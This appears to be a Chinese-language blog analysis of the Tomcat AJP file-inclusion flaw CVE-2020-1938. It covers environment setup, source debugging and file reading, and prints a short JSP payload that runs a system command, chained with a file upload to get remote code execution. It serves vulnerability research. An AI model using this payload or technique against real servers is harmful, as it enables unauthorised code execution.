[CNVD-2020-10487/CVE-2020-1938]: Tomcat AJP协议漏洞

环境搭建

下载存在漏洞版本8.5.50:
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/apache-tomcat-8.5.50.zip

查看默认conf/server.xml文件中开启了这个Connector。

启动一下。

调试

在IDEA中配合源码的8.5.50分支调试:

git clone https://github.com/apache/tomcat
git checkout 8.5.50 -b b8.5.50

在这里插入图片描述
第一种方式,实现web目录下的文件读取,
通过
org/apache/catalina/servlets/DefaultServlet.java

实现web目录下的文件读取
[CNVD-2020-10487/CVE-2020-1938]: Tomcat AJP协议漏洞_第1张图片

  1. 结合文件上传实现RCE
    通过org/apache/jasper/servlet/JspServlet,把文件当做jsp来解析。
    可控文件的内容包含以下内容,格式不限制(可以是图片)
<%
        java.io.DataInputStream dis = new java.io.DataInputStream(Runtime.getRuntime().exec("id").getInputStream());
        String disr = dis.readLine();
        while ( disr != null ) {out.println(disr); disr = dis.readLine(); }
%>

还是有一定限制的哈。不过至少对
之前我们测文件上传,一看虽然路径可控,内容也可控,但是不被加载,也不算漏洞。结合这个漏洞之后就危害大了。

RCE 需要可控web应用目录下的文件(图片也可以 只要包含payload)。所以本质上来说只是可以加载web目录下的任意文件然后进行解析。

在这里插入图片描述
[CNVD-2020-10487/CVE-2020-1938]: Tomcat AJP协议漏洞_第2张图片
在这里插入图片描述

参考

  • CNVD-2020-10487: Apache Tomcat文件包含漏洞通告
  • Apache Tomcat服务器存在文件包含漏洞
  • Tomcat-Ajp协议漏洞分析
  • AJP协议总结与分析 很深入的协议分析!
  • 使用 AJP 方式配置反向代理 通过这篇文章终于通过AJP协议搭好了apache给tomcat反向代理!
  • PoC 实现了AJP协议客户端(带解析响应功能)通过这个PoC生成了正确的payload

你可能感兴趣的:(java,安全,Web)